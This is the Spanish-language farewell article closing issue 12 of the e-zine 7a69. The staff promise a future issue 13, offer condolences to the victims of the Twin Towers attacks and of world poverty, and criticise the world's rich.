-=( 7A69#12 )=--=( art14 )=--=( Despedida. Bye Bye )=--=( Staff )=-
Todo lo que sube, baja. Todo lo que empieza, acaba. Y 7a69#12 ha empezado, por
lo que debe acabar, y lo hace aqui. Pero nada de poner caras tristes, porque
7a69#13 os volvera a iluminar con intresantes articulos, no lo dudeis. ¿Cuando?
Quien sabe. Podria deciros 2 meses, como he dicho siempre. Pero... como cabe
la posiblidad de que no cumplamos (y asi ha ocurrido en la mayoria de las
ocasiones) me reservare de decir cuando saldremos. Pero tranquilo, que te
enteraras... ¿Como? Ni idea :)
Antes de dejar el teclado para irme a dormir, quisiera, en nombre todo el
staff de 7a69 mandar nuestro pesame a todos los familiares de las victimas
de los atentados de las torres gemelas, asi como a los familiares de las
millones de personas que se mueren por falta de alimentos, sanidad, etc. en
los paises del tercer mundo. El mundo no va bien!! Tambien quisieramos
criticar a los ricos del mundo, por no hacer nada ante esta situciacion.
Gracias por nada!! (Esta Bill Gates entre ellos ¿no?).
Triste adios, lo se. Pero la situacion lo merece. Un beso a todos.
*EOF*